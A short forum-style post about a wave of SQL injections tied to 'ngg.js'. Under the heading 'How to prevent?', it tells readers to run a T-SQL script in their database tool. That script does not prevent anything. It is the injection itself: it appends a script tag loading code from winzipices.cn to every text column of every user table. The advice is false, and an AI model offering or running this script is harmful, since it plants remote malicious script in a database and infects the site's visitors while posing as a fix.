What is */ngg.js?

There seems to be a new wave of sql injections ending with ngg.js. Familiar iframe attack from before but this time selectively ignores browsers from Russia, Ukraine, China, Korea, Vietnam and India

How to prevent?

Open your SQL Tool Analyzer and type this:

DECLARE @T VARCHAR(255)
DECLARE @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT [A].[Name], [B].[Name]
FROM sysobjects AS [A], syscolumns AS [B]
WHERE [A].[ID] = [B].[ID] AND
[A].[XType] = 'U' /* Table (User-Defined) */ AND
([B].[XType] = 99 /* NTEXT */ OR
[B].[XType] = 35 /* TEXT */ OR
[B].[XType] = 231 /* SYSNAME */ OR
[B].[XType] = 167 /* VARCHAR */)

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE (@@FETCH_STATUS = 0)
BEGIN
EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''<script src="http://winzipices.cn/2.js"></script>''')
FETCH NEXT FROM Table_Cursor INTO @T, @C
END

CLOSE Table_Cursor
DEALLOCATE Table_Cursor
